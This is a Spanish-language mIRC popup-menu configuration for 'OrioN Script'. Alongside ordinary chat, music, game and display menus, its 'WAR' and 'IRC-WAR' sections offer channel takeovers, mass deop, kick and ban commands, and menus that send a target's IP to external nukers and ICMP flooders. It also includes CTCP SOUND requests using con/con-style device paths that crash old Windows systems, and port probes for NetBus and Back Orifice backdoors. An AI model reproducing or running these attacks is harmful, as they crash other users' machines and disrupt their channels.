n94=..mass-msg: massmsg n95=..- n96=..mass-op: massop n97=..mass-deop: massdeop n98=..- n99=..mass-voz: massvoz n100=..mass-devoz: massdevoz n101=..- n102=..mass-kick: masskick n103=..mass-ban: massban n104=..- n105=..mass-ban-kick: massbankick n106=..- n107=..mass-deop-kick: massdeopkick n108=..mass-deop-kick-ban: massdeopbankick n109=.- n110=.ofrecer file: dialog -m sendfilec sendfilec n111=.invitar aqui: invite $$?="A que nick deseas invitar?" $chan n112=.salir y entrar: hop $1 n113=.añadir a lista :{ n114= write $mircdirsistema\txts\canales.txt $chan n115= echo -s 15,2 Añadido canal:0,4 $chan 15,2 a lista de canales preferidos 9,99 n116=} n117=.- n118=.traer clon: conexclon $active | wincanalorionclon n119=InfoCanal n120=.ScanCanal: dialog -m scancanal scancanal | .timer -m 1 100 did -a scancanal 3 %winactive n121=.- n122=.info central-canal : channel n123=.- n124=.who nicks-canal: who # n125=.- n126=.lista de bans n127=..ver en canal: seebanlist %winactive say n128=..ver en status: seebanlist %winactive echo -s n129=.- n130=.Port 139 (win-95):/ @scan#n | scan#n win-95 139 %winactive n131=.Port 135 (win-NT):/ scan#n win-nt 135 %winactive n132=.Port 1080 (WinGate):/ scan#n win-gate 1080 %winactive n133=.Port 12345 (NetBus):/ scan#n netbus 12345 %winactive n134=.Port 31337 (BO):/ scan#n bo 31337 %winactive n135=.Port 79 (Finger):/ scan#n finger 79 %winactive n136=.Port 23 (Telnet):/ scan#n telnet 23 %winactive n137=.Port 113 (IdenT):/ scan#n ident 113 %winactive n138=.Port (¿?): scan#n $$?="Escribe el puerto a escanear" $! %winactive n139=.- n140=- n141=Mostrar n142=.topic n143=..en status: echo -s 2Topic12 # $+ 1:4 $chan(#).topic n144=..en canal: say 2Topic12 # $+ 1:4 $chan(#).topic n145=.modos n146=..en status: echo -s 2Modos12 # $+ 1:4 $chan(#).mode n147=..en canal: say 2Modos12 # $+ 1:4 $chan(#).mode n148=.key n149=..en status: echo -s 2Key12 # $+ 1:4 $chan(#).key n150=..en canal: say 2Key12 # $+ 1:4 $chan(#).key n151=.limit n152=..en status: echo -s 2Limit12 # $+ 1:4 $chan(#).limit n153=..en canal: say 2Limit12 # $+ 1:4 $chan(#).limit n154=.I.A.L n155=..en status: echo -s 2Lista interna de direcciones12 # $+ 1:4 $chan(#).ial n156=..en canal: say 2Limit12 # $+ 1:4 $chan(#).limit n157=.list-ban n158=..en canal: seebanlist %winactive say n159=..en status: seebanlist %winactive echo -s n160=.- n161=.mis estadisticas: dialog -m contacc contacc n162=.mi presentación n163=..Presentacion:{ n164= say 7,1©6©8©9©10©11©12©13©14©4,4 7,7 8,89,9 12,12 10,10 13,13 1,1 124,1 $+ $me $+ 's13 Profile1,1 13,13 10,10 12,12 9,9 8,8 7,7 4,4 9,1©10©11©12©13©14©3©4©6© n165= say 12Soy un/a agradable13 %sex de 4 %race n166= say 12Tengo5 %age años 12Mido 10 %height cm12y peso2 %weight kg n167= say 12Mis hobbies son6 %hobbies n168= say 12Suelo estar por7 %rchan n169= say 7,1©6©8©9©10©11©12©13©14©3©4©6©7©8©9©10©11@1,1 4,1 orion Script 8,19,112,17,113,111,1+ 1,1 11,1@1©3©4©5©7©6©8©9©10©11©12©13©14©3©4©6© n170=} n171=..Configura presentacion: mipresentacion n172=.mi nick: me 8,1 Mi nick es:11,1 $me 11,99 n173=.mis canales: canales# n174=.mi server: servidor# n175=.mi ip: ip# n176=.mi lag: { .ctcp $me ping | sorion boton3 | set %muestrolag on } n177=.tiempo en el irc: msg %winactive 12 Llevo conectado al IRC 1[4 %ts 10seg 1] [4 %tm 10min1 ] 12 y 1[4 %th 10h1 ] n178=.- n179=.la hora: me 12 Son las 0,15 0,14 11,1 $time 0,14 0,15 15,99 n180=.la fecha: me 12 Estamos a 0,15 0,14 11,1 $date 0,14 0,15 15,99 n181=.- n182=.web actual:{ n183= if ($url != $null) { msg # 10 WEB 1[ 12 $url 1] } n184= else { echo -a 4,1 Tu navegador no se encuentra abierto 9,99 } n185=} n186=.webs n187=..- %web0: msg %winactive %web0 n188=..- n189=..- %web1: msg %winactive %web1 n190=..- %web2: msg %winactive %web2 n191=..- %web3: msg %winactive %web3 n192=..- %web4: msg %winactive %web4 n193=..- %web5: msg %winactive %web5 n194=..- %web6: msg %winactive %web6 n195=..- %web7: msg %winactive %web7 n196=.e-mails n197=..- %email0: msg %winactive %email0 n198=..- n199=..- %email1: msg %winactive %email1 n200=..- %email2: msg %winactive %email2 n201=..- %email3: msg %winactive %email3 n202=..- %email4: msg %winactive %email4 n203=..- %email5: msg %winactive %email5 n204=..- %email6: msg %winactive %email6 n205=..- %email7: msg %winactive %email7 n206=Mensajes n207=.Msg a nicks: massmsg n208=.Msg Mass n209=..Mandar:/ameq $$?="Mensaje global a todos tus querys?" n210=..- n211=..info:/informo Puedes usar el comando "/ameq [mensaje]" en cualquier ventana para causar el mismo resultado. Un mensaje comun global y massivo a todos los privados que tienes abiertos. $oriontheme(sSeparadorLine) n212=.- n213=.- n214=.Nombrar nicks: saluallnicks# $chan $$?="Escribe el saludo" n215=.- n216=./me msg: me $$?="Escribe aqui el mensaje para el canal $chan " n217=.Msg opers: { n218= if ($me isop $chan) { omsg $active $$?="Mensaje para los op del canal $chan?" } n219= elseif ($me !isop $chan) { echo -a 8,1Para poder ejecutar este comando debes de ser operador del canal $active 8,99 } n220=} n221=.Notice opers: onotice $chan $$?="Escribe aqui el mensaje para el canal $chan " n222=.Msg canales: amsg $$?="Mensaje a todos tus canales actuales?" n223=.- n224=.texto adornado n225=.. Lazo rojo-azul: cruzados 1 $$?="¿Texto?" n226=.. Lazo azul-rosa: cruzados 2 $$?="¿Texto?" n227=.. Lazo amarillo-verde: cruzados 3 $$?="¿Texto?" n228=.. Lazo verde-rojo: cruzados 4 $$?="¿Texto?" n229=..Lazo azul-verde:cruzados 5 $$?="¿Texto?" n230=..Lazo multicolor:cruzados 6 $$?="¿Texto?" n231=..Texto Enmarcado:cruzados 7 $$?="¿Texto?" n232=..Texto Enmarcado 2:cruzados 8 $$?="¿Texto?" n233=..Bloque 3D:cruzados 9 $$?="¿Texto?" n234=..Cajas colores: cruzados 10 $$?="¿Texto?" n235=..Cajas Enlazadas: cruzados 11 $$?="¿Texto?" n236=..Cajas Enlazadas 2: cruzados 12 $$?="¿Texto?" n237=..Cajas Enlazadas 3: cruzados 15 $$?="¿Texto?" n238=..Zig-Zag: cruzados 13 $$?="¿Texto?" n239=- n240=Musica n241=.reproductor:/dialog -m musica musica n242=.- n243=.MID play: set %m $$file="Selecciona un archivo *.midi" %pathmusicamid | .splay %m | anunciamusi %m n244=.WAV play: set %m $$file="Selecciona un archivo *.wav" %pathmusicawav | .splay %m | anunciamusi %m n245=.Mp3 play: set %m $$file="Selecciona un archivo *.mp3" %pathmusicamp3 | .splay %m | anunciamusi %m n246=.- n247=.mid al azar:{ var %y | %y = $findfile(%pathmusicamid,*.mid,0) | %y = $rand(1,%y) | .splay $findfile(%pathmusicamid,*.mid,%y) | anunciamusi $findfile(%pathmusicamp3,*.mid,%y) | unset %y } n248=.wav al azar:{ var %y | %y = $findfile(%pathmusicawav,*.wav,0) | %y = $rand(1,%y) | .splay $findfile(%pathmusicawav,*.wav,%y) | anunciamusi $findfile(%pathmusicamp3,*.wav,%y) | unset %y } n249=.mp3 al azar:{ var %y | %y = $findfile(%pathmusicamp3,*.mp3,0) | %y = $rand(1,%y) | .splay $findfile(%pathmusicamp3,*.mp3,%y) | anunciamusi $findfile(%pathmusicamp3,*.mp3,%y) | unset %y } n250=.- n251=.Stop:/splay stop n252=.- n253=.Predefinir n254=..ruta midis n255=... %pathmusicamid :/ n256=...cambiar ruta: set %pathmusicamid $sdir="Seleccione el directorio con sus midis" C:\ n257=..ruta wavs n258=... %pathmusicawav :/ n259=...cambiar ruta: set %pathmusicawav $sdir="Seleccione el directorio con sus wavs" C:\ n260=..ruta mp3s n261=... %pathmusicamp3 :/ n262=...cambiar ruta:/set %pathmusicamp3 $sdir="Seleccione el directorio con sus mp3s" C:\ n263=Pijadas n264=.Juegos n265=..Trivial: dialog -m trivial trivial n266=..- n267=..Adivina Número n268=...On : adion n269=...Off : adioff n270=..- n271=..Ruleta Rusa n272=...On: ruletaon n273=...Off: ruletaoff n274=..- n275=..Cara o Cruz n276=...On: echo -s estoy aqui | caraon n277=...Off: /caraoff n278=.- n279=.PiJVarios: wintxtvarios n280=.- n281=.Caras n282=..Raton:/say 0-----()_() | /say 0-----(o o) | /say -ooO--`o'--Ooo- n283=..Vaca:/say 0----((__)) | /say 0-----(00) | /say nn--(o__o)--nn- | /say 0-----´--` Muuuuu n284=..Cara Normal:/say 0-----... | /say 0----(o o) | /say ooO--(_)--Ooo- n285=..Toy de Broma:/say 0-----... | /say 0----(o -) | /say ooO--(_)--Ooo- | /say ¡¡Toy de broma $$1 !! ;) n286=..Toy Sobao:/say 0-----... | /say 0----(- -) | /say ooO--(_)--Ooo- | /say -- Toy sobao. -- n287=..Toy Pasmao:/say 0-----\|/ | /say 0----(@ @) | /say ooO--(_)--Ooo- | /say -- Toy pasmao. -- n288=.- n289=.Smyles n290=..payaso:say 13<12,8&4o6) n291=..con gorra: say 12¶1:7) n292=..carcajada :say 1 :-4D n293=..emocionado: say 12,8 :,4) n294=..llorando: say 6:,-( n295=..zurdo: say 7,8(-: n296=..facho: say 1B5:-) n297=..niña: say 138:) n298=..angelito: say 120:) n299=..diablillo: say 4}:-) n300=..vampiro: say 4,15 :-[  n301=..babeando: say 7:-)12~ n302=..punk: say 13=7,8:-| n303=..saca lengua: say 4:-p n304=..muerto: say 1,11X-( n305=..venganza: say 2>:-D n306=..borracho: say 10%-) n307=..- n308=..gestor de smyles: dialog -m caritas caritas n309=.- n310=.Banderas n311=..Española: spain n312=..Asturies: asturias n313=..Unión Europea: ue n314=..Valenciana: valencia n315=..Malagueña: malaga n316=..Norte Americana: usa n317=..Argentina: argentina n318=..Andalucía: andaluz n319=..Madrid: madrid n320=..México: mejico n321=..Cataluña: catalana n322=..Castilla León: casti.leon n323=..Cantabria: cantabria n324=..Extremadura: extremadura n325=..Canarias: canarias n326=..La Rioja: larioja n327=.- n328=.Ascii: dialog -m ascii ascii n329=- n330=Ventana n331=.Log n332=..Gestor @log: @log n333=..- n334=..grabar: log on $active n335=..no grabar: log off $active n336=..- n337=..$iif($filetrue($active,log) != $null,ver/editar): @log $filetrue($active,log) n338=.- n339=.Redire: dialog -m redirelogwin redirelogwin n340=.- n341=.Limpiar: clear $active n342=.- n343=.Cerrar: part n344=- n345=WAR n346=. $iif($me !isop $active,$style(2)) hacerse con el canal: set %takeover# $chan | sorion atake | takeover n347=.- n348=. $iif($me !isop $active,$style(2)) llenar de bans:{ sorion atake | war.baneo# } n349=. $iif($me !isop $active,$style(2)) joder modos: { sorion kick | war.modos# } n350=.- n351=. $iif($me !isop $active,$style(2)) kick aleatorio:{ sorion nuller | war.kick# } n352=. $iif($me !isop $active,$style(2)) ban-kick aleatorio:{ sorion nuller | war.bankick# } n353=.- n354=. $iif($me !isop $active,$style(2)) solo hablo io n355=..activar %act.war.ssss:{ .splay $mircdirmusica\wav\testigo.wav n356= echo -s 8,1 Activada opcion de prohibido hablar en el canal11 $chan8 esta sera desactivada automaticamente al desconectar, o poniendo desactivar. n357= set %war.ssss $chan n358= set %act.war.ssss -x- n359= unset %des.war.ssss n360= .enable #ssss n361=} n362=..desactivar %des.war.ssss: { .disable #ssss | unset %war.ssss %act.war.ssss | set %des.war.ssss -x- } n363=.- n364=. $iif($me !isop $active,$style(2)) quitar las @: massdeop n365=. $iif($me !isop $active,$style(2)) quitar los +: massdevoz n366=. $iif($me !isop $active,$style(2)) kick global: masskick n367=. $iif($me !isop $active,$style(2)) ban massivo: massban n368=. $iif($me !isop $active,$style(2)) ban-kick global: massbankick n369=. $iif($me !isop $active,$style(2)) deop-kick massivo: massdeopkick n370=. $iif($me !isop $active,$style(2)) deop-kick-ban massivo: massdeopbankick n371=.- n372=.mass atak con/con:/ctcp $active SOUND /XMSXXXX0/XMSXXXX0/XMSXXXX0.mp3 n373=.- n374=.PortOpen 139 (win-95):/ scan#n win-95 139 $active n375=.PortOpen 135 (win-NT):/ scan#n win-nt 135 $active n376=.PortOpen 1080 (WinGate):/ scan#n win-gate 1080 $active n377=.PortOpen 12345 (NetBus):/ scan#n netbus 12345 $active n378=.PortOpen 31337 (BO):/ scan#n bo 31337 $active n379=.PortOpen 79 (Finger):/ scan#n finger 79 $active n380=.PortOpen 23 (Telnet):/ scan#n telnet 23 $active n381=.PortOpen 113 (IdenT):/ scan#n ident 113 $active n382=.PortOpen (¿?): scan#n $$?="Escribe el puerto a escanear" $! $active n383=.- n384=.Scaner: run $mircdirscaner\Portscan.exe [qpopup] n0=OrioN n1=.simple: publi say n2=.- n3=.new version..: publi say Nueva y mejorada versión: n4=.el poder..: publi say El verdadero poder se encuentra en: n5=.la revelación..: publi say La revelación del IRC: n6=.creiste?...: publi say Creiste ver todo en un script? n7=.war...: publi say El mejor war del momento en: n8=.español..: publi say Script totalmente en Español: n9=- n10=Info n11=.whois-status: whois $$1 n12=.whois-dialog: { quien-es $$1 d } n13=.- n14=.Lag PING: ctcp $$1 ping n15=.- n16=.hacer who: set %r.who si | who $$1 n17=.ver host/ip: dns $$1 n18=.misma ip: who $gettok($address($1,2),2,64) n19=.trazar ruta: { n20= run $mircdirsistema\bats\traza.bat $gettok($address($1,2),2,64) n21= echo -s 0,1 Trazando ruta IP bajo MSDOS 0,4 $gettok($address($1,2),2,64) 9,99 n22=} n23=.- n24=.DNS: dns $$1 n25=.FINGER: finger $$1 n26=.- n27=.MSDOS-Ping:{ n28= run $mircdirsistema\bats\msdosping.bat $gettok($address($1,2),2,64) $$?="Numero de pings a ejecutar" n29= echo -s 0,1 OrioN-Ping bajo MSDOS 0,4 $gettok($address($1,2),2,64) 9,99 n30=} n31=.ucentral: uwho $$1 n32=.ver agenda: /abook $$1 n33=.$iif($filetrue($1,log) != $null,ver log): @log $filetrue($1,log) n34=.- n35=.$iif($ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,ver clones) n36=..clones?: dialog -m scan scan | set %whoscan on | who %barsnick | .timer 1 1 scanclonesd n37=..- n38=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick d n39=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick d n40=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick d n41=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick d n42=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick d n43=..- n44=.. $gettok($address($snick($chan),2),2,33):/ who $gettok($gettok($address($snick($chan),2),2,33),2,64) n45=..- n46=.$iif( $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,patear clones) n47=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§ n48=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§ n49=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§ n50=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§ n51=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§ n52=..- n53=..todos: { n54= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§ n55= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§ n56= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§ n57= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§ n58= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§ n59=} n60=.- n61=.scan OrioN: dialog -m scan scan | set %whoscan on | who $1 n62=.scaner: run $mircdirscaner\Portscan.exe 127.45.41.45 n63=.- n64=.espiar %barsnick : espianick %barsnick n65=- n66=FSend: dcc send $$1 n67=$iif($ignore($address($$1,2)),$style(1)) Ignorar: ignorar $$1 n68=- n69=Acciones n70=.hacer chat: dcc chat $$1 n71=.enviar fichero: dcc send $$1 n72=.- n73=.f-serveR: fserve $$1 10 $$sdir="Selecione el directorio de inicio" $mircdirsistema\txts\welcomefserver.txt n74=.telnet: %whotelnet = on | who $$1 n75=.add users: dialog -m userlist userlist n76=.- n77=.add notify:{ n78= .notify $$1 n79= echo -s $oriontheme(sSeparadorLine) n80= echo -s 4,1[0,1 Añadido nick: 9 $$1 8a la lista de notificacion 4] 0,99 n81= echo -s $oriontheme(sSeparadorLine) n82=} n83=.- n84=.ignorarle: ignorar $$1 n85=.- n86=.mensaje: msg $$1 $?="Cual es el mensaje para $1?" n87=.msg mass n88=..all querys:/ameq $$?="Mensaje global a todos tus querys?" n89=..- n90=..info:/informo Puedes usar el comando "/ameq [mensaje]" en cualquier ventana para causar el mismo resultado. Un mensaje comun global y massivo a todos los privados que tienes abiertos. $oriontheme(sSeparadorLine) n91=.noticia: notice $$1 $?="Que noticia le doy a $1?" n92=.- n93=.ctcp Ping : ctcp $$1 ping n94=.ctcp Finger: ctcp $$1 finger n95=.ctcp Version: ctcp $$1 version n96=.ctcp Time: ctcp $$1 time n97=.ctcp Userinfo: ctcp $$1 userinfo n98=.ctcp Clientinfo: ctcp $$1 clientinfo n99=.- n100=.ctcp específico:/ctcp $* $$?="Qué CTCP?" n101=Mostrar n102=.baners script n103=..simple: publi say n104=..- n105=..new version..: publi say Nueva y mejorada versión: n106=..el poder..: publi say El verdadero poder se encuentra en: n107=..la revelación..: publi say La revelación del IRC: n108=..creiste?...: publi say Creiste ver todo en un script? n109=..war...: publi say El mejor war del momento en: n110=..español..: publi say Script totalmente en Español: n111=.- n112=.mis estadisticas: dialog -m contacc contacc n113=.mi presentación n114=..Presentacion:{ n115= say 7,1©6©8©9©10©11©12©13©14©4,4 7,7 8,89,9 12,12 10,10 13,13 1,1 124,1 $+ $me $+ 's13 Profile1,1 13,13 10,10 12,12 9,9 8,8 7,7 4,4 9,1©10©11©12©13©14©3©4©6© n116= say 12Soy un/a agradable13 %sex de 4 %race n117= say 12Tengo5 %age años 12Mido 10 %height cm12y peso2 %weight kg n118= say 12Mis hobbies son6 %hobbies n119= say 12Suelo estar por7 %rchan n120= say 7,1©6©8©9©10©11©12©13©14©3©4©6©7©8©9©10©11@1,1 4,1 orion Script 8,19,112,17,113,111,1+ 1,1 11,1@1©3©4©5©7©6©8©9©10©11©12©13©14©3©4©6© n121=} n122=..Configura presentacion:/set %height $$?="Pon tu altura: (en cm)" | /set %weight $$?="Pon tu peso : (en kg)" | /set %race $$?="Pon tu procedencia(Ciudad y Pais?: (Benidorm,España? :-D)" | /set %age $$?="Pon tu edad:" | /set %sex $$?="Pon tu sexo: (Tio o Tia)" | /set %rchan $$?="Canal donde sueles estar: (eg. #Outerlimits)" | /set %hobbies $$?="Indica tus hobbies:" n123=.mi nick: me 8,1 Mi nick es:11,1 $me 11,99 n124=.mis canales: canales# n125=.mi server: servidor# n126=.mi ip: ip# n127=.mi lag: { .ctcp $me ping | sorion click | set %muestrolag on } n128=.tiempo en el irc: msg %winactive 12 Llevo conectado al IRC 1[4 %ts 10seg 1] [4 %tm 10min1 ] 12 y 1[4 %th 10h1 ] n129=.- n130=.la hora: me 12 Son las 0,15 0,14 11,1 $time 0,14 0,15 15,99 n131=.la fecha: me 12 Estamos a 0,15 0,14 11,1 $date 0,14 0,15 15,99 n132=.- n133=.la web actual:{ n134= if ($url != $null) { msg # 10 WEB 1[ 12 $url 1] } n135= else { echo -a 4,1 Tu navegador no se encuentra abierto 9,99 } n136=} n137=.webs n138=..- %web1: msg %winactive %web1 n139=..- %web2: msg %winactive %web2 n140=..- %web3: msg %winactive %web3 n141=..- %web4: msg %winactive %web4 n142=..- %web5: msg %winactive %web5 n143=..- %web6: msg %winactive %web6 n144=..- %web7: msg %winactive %web7 n145=..- %web8: msg %winactive %web8 n146=..- %web9: msg %winactive %web9 n147=..- %web10: msg %winactive %web10 n148=..- %web11: msg %winactive %web11 n149=..- %web12: msg %winactive %web12 n150=..- %web13: msg %winactive %web13 n151=..- %web14: msg %winactive %web14 n152=..- %web15: msg %winactive %web15 n153=.e-mails n154=..- %email1: msg %winactive %email1 n155=..- %email2: msg %winactive %email2 n156=..- %email3: msg %winactive %email3 n157=..- %email4: msg %winactive %email4 n158=..- %email5: msg %winactive %email5 n159=.- n160=.Caras n161=..Raton:/say 0-----()_() | /say 0-----(o o) | /say -ooO--`o'--Ooo- n162=..Vaca:/say 0----((__)) | /say 0-----(00) | /say nn--(o__o)--nn- | /say 0-----´--` Muuuuu n163=..Cara Normal:/say 0-----... | /say 0----(o o) | /say ooO--(_)--Ooo-..Toy de Broma:/say 0-----... | /say 0----(o -) | /say ooO--(_)--Ooo- | /say ¡¡Toy de broma $$1 !! ;) n164=..Toy Sobao:/say 0-----... | /say 0----(- -) | /say ooO--(_)--Ooo- | /say -- Toy sobao. -- n165=..Toy Pasmao:/say 0-----\|/ | /say 0----(@ @) | /say ooO--(_)--Ooo- | /say -- Toy pasmao. -- n166=IRC-WAR n167=. $iif(!$exists($mircdir\war),$style(2)) ClicK n168=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = click | who $$1 n169=..- n170=..puerto 6668: %ataker.port = 6668 | %ataker = on | %progataker = click | who $$1 n171=..puerto 6669: %ataker.port = 6669 | %ataker = on | %progataker = click | who $$1 n172=..puerto 7000: %ataker.port = 7000 | %ataker = on | %progataker = click | who $$1 n173=..puerto 6664-7000: %ataker.port = 6667-7000 | %ataker = on | %progataker = click | who $$1 n174=..- n175=..Especificar puerto(s): set %ataker.port $$?="Especifica el/los puertos a nukear (Ej: 6664-6666)" | %ataker = on | %progataker = click | who $$1 n176=.- n177=. $iif(!$exists($mircdir\war),$style(2)) WinNuke n178=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = winnuke | who $$1 n179=..- n180=..puerto 6668: %ataker.port = 6668 | %ataker = on | %progataker = winnuke | who $$1 n181=..puerto 6669: %ataker.port = 6669 | %ataker = on | %progataker = winnuke | who $$1 n182=..puerto 7000: %ataker.port = 7000 | %ataker = on | %progataker = winnuke | who $$1 n183=..puerto 6664-7000: %ataker.port = 6667-7000 | %ataker = on | %progataker = winnuke | who $$1 n184=..- n185=..Especificar puerto(s): set %ataker.port $$?="Especifica el/los puertos a nukear (Ej: 6664-6666)" | %ataker = on | %progataker = winnuke | who $$1 n186=.- n187=.BUG COM n188=..con/con:/ ctcp $1 sound con/con.wav n189=..com/com: ctcp $1 sound com/com.wav n190=..clock/clock: ctcp $1 sound clock/clock.wav n191=..ps/ps: ctcp $1 sound ps/ps.wav n192=..aux/aux: ctcp $1 sound aux/aux.wav n193=..lpt/lpt: ctcp $1 sound lpt/lpt.wav n194=..nul/nul: ctcp $1 sound nul/nul.wav n195=..- n196=..com/clock$.mp3: ctcp $1 sound com/clock$.mp3 n197=..- n198=..COM XMSXX...://ctcp $active SOUND /XMSXXXX0/XMSXXXX0/XMSXXXX0.mp3 n199=.- n200=. $iif(!$exists($mircdir\war),$style(2)) Assault:{ n201= echo -s >> 0Puesta de ip manualmente. (copia y pega la ip en el programa de war) n202= %progataker = Assault | %ataker = on | who $$1 n203=} n204=.- n205=. $iif(!$exists($mircdir\war),$style(2)) Nuker: %ataker = on | set %progataker VTJNuker | who $$1 n206=.- n207=. $iif(!$exists($mircdir\war),$style(2)) OOB:{ n208= %progataker = OOB | %ataker = on | run $mircdirWAR\Voob.exe | who $$1 n209= echo -s >> 0Puesta de ip manualmente. n210=} n211=.- n212=. $iif(!$exists($mircdir\war),$style(2)) ICMP:{ n213= %progataker = ICMP | %ataker = on | who $$1 n214= run $mircdirWAR\jav\VTJBomber.exe n215= echo -s >> 0Puesta de ip manualmente. n216=} n217=.- n218=. $iif(!$exists($mircdir\war),$style(2)) ICMP2: { n219= %progataker = ICMP bomber | %ataker = on | who $$1 n220= run $mircdirwar\icmp.exe %whonickip n221= echo -s >> 0Pulse el boton start para comenzar el atake. n222=} n223=.- n224=. $iif(!$exists($mircdir\war),$style(2)) Ping: set %ataker on | set %progataker Wsping32 | who $$1 n225=.- n226=. $iif(!$exists($mircdir\war),$style(2)) Divint:{ n227= %progataker = Divint | %ataker = on | who $$1 n228= run $mircdirWAR\divint\Divint3.exe n229= echo -s >> 0Puesta de ip manualmente. n230=} n231=.- n232=. $iif(!$exists($mircdir\war),$style(2)) BitchSlap: %progataker = BitchSlap | %ataker = on | who $$1 n233=.- n234=. $iif(!$exists($mircdir\war),$style(2)) Panther: { n235= %progataker = Panther | %ataker = on | who $$1 n236= run $mircdirwar\Panther.exe n237= echo -s >> 0Puesta de ip manualmente. n238=} n239=.- n240=. $iif(!$exists($mircdir\war),$style(2)) WnewK-x:{ n241= %progataker = WnewK-x v1.11.5 | %ataker = on | who $$1 n242= run $mircdirWAR\Wnewk-x.exe n243= echo -s >> 0Introduce manualmente los datos. n244=} n245=.- n246=. $iif(!$exists($mircdir\war),$style(2)) NukeR:{ n247= %progataker = Wnuke v2.3 | %ataker = on | who $$1 n248= run $mircdirWAR\wnuke.exe n249= echo -s >> 0Introduce manualmente la ip. n250=} n251=- n252=Ventana n253=.Log n254=..Gestor @log: @log n255=..- n256=..grabar: log on $active n257=..no grabar: log off $active n258=..- n259=..$iif($filetrue($active,log) != $null,ver/editar): @log $filetrue($active,log) n260=.- n261=.Redire: dialog -m redirelogwin redirelogwin n262=.- n263=.Limpiar: clear $active n264=.- n265=.Cerrar: part [bpopup] n0=[ [ [ OrioN ScripT ] ] ] n1=OrioN WEB: runer net http://www.ircorion.net n2=OrioN SpaM: publi amsg n3=- n4=Acerca de...: dialog -m acercade acercade n5=- n6=Configuración n7=.Config (setup): dialog -m setup setup n8=.- n9=.bots (comandos):/dialog -m redes redes | did -c redes 2 n10=.auto identifys (nick):/dialog -m redes redes | did -c redes 3 n11=.auto joins (canales):/dialog -m redes redes | did -c redes 4 n12=.- n13=.Grafico n14=..Skins: dialog -m skins skins n15=..Fondos: dialog -m background background n16=..Theme: dialog -m themes themes n17=.Tipo-letra: dialog -m letras letras n18=.- n19=.Usuarios n20=..Notify: dialog -m notify notify n21=..Ignore: dialog -m ignore ignore n22=..Userlist: dialog -m userlist userlist n23=.- n24=. $iif(!$exists($mircdir\war),$style(2)) Atake n25=..assault: run $mircdirWAR\assault.exe n26=..click: run $mircdirWAR\click.exe n27=..ping: run $mircdirWAR\Wsping32.exe n28=..divint: run $mircdirWAR\divint\divint3.exe n29=..bomber: run $mircdirWAR\jav\VTJBomber.exe n30=..nuker: run $mircdirWAR\jav\VTJNuker.exe n31=..OOB: run $mircdirWAR\Voob.exe n32=..ICMP: run $mircdirWAR\jav\VTJBomber.exe n33=..ICMP2: run $mircdirwar\icmp.exe %whonickip n34=..Divint: run $mircdirWAR\divint\Divint3.exe n35=..BitchSlap: run $mircdirwar\bs.exe n36=..Panther: run $mircdirwar\Panther.exe n37=..WnewK-x: run $mircdirWAR\Wnewk-x.exe n38=..NukeR: run $mircdirWAR\wnuke.exe n39=.Defensa n40=..$iif(%actproantideop,$style(1)) Anti-deop: dialog -m antideop antideop n41=..$iif(%actproantikick,$style(1)) Anti-kick: dialog -m antikick antikick n42=..$iif(%actproantiban,$style(1)) Anti-ban: dialog -m antiban antiban n43=..$iif(%actantiinsultos,$style(1)) Anti-insultos: dialog -m insultos insultos n44=..$iif(%actantiinsultos,$style(1)) Anti-Plagios: dialog -m cplag cplag n45=..$iif($readini(sistema\spam\spamconf.ini,spam,spamed) == on,$style(1)) Anti-Spam: dialog -m antispam antispam n46=..- n47=.. $iif($group(#antiflood) == on,$style(1)) Antiflood OrioN: dialog -m antiflood antiflood n48=.. $iif(si isin %pflood,$style(1)) Antiflood mIRC n49=...acitivar: apf n50=...desactivar: dpf n51=...estado del flood: sflood n52=...- n53=...activar chequeo cada?: chb...max de lineas en memoria?: maxl n54=...max de lineas por persona?: maxlp n55=...ignorar al usuario durante?: igu n56=..- n57=..Ignore: dialog -m ignore ignore n58=..- n59=..De canales: dialog -m config# config# n60=..- n61=..Nuke detector: { n62= echo -s $oriontheme(sSeparadorLine) n63= echo -s 4,1 RUN 0 Ejecutado detector de nukes 11 Já aí vem 8ver 2.01 9,99 n64= echo -s $oriontheme(sSeparadorLine) n65= run $mircdirwar\jav\JAV.exe n66=} n67=..Nukennaber: run $mircdirwar\nukenabber\nukenabber.exe n68=..- n69=..Firewall: { n70= if (%rutafire != $null) { run %rutafire } n71= else { set %rutafire $dir="Selecciona tu firewall para tu defensa" } n72=} n73=.Scaners n74=..ports...: run $mircdirscaner\Portscan.exe n75=..- 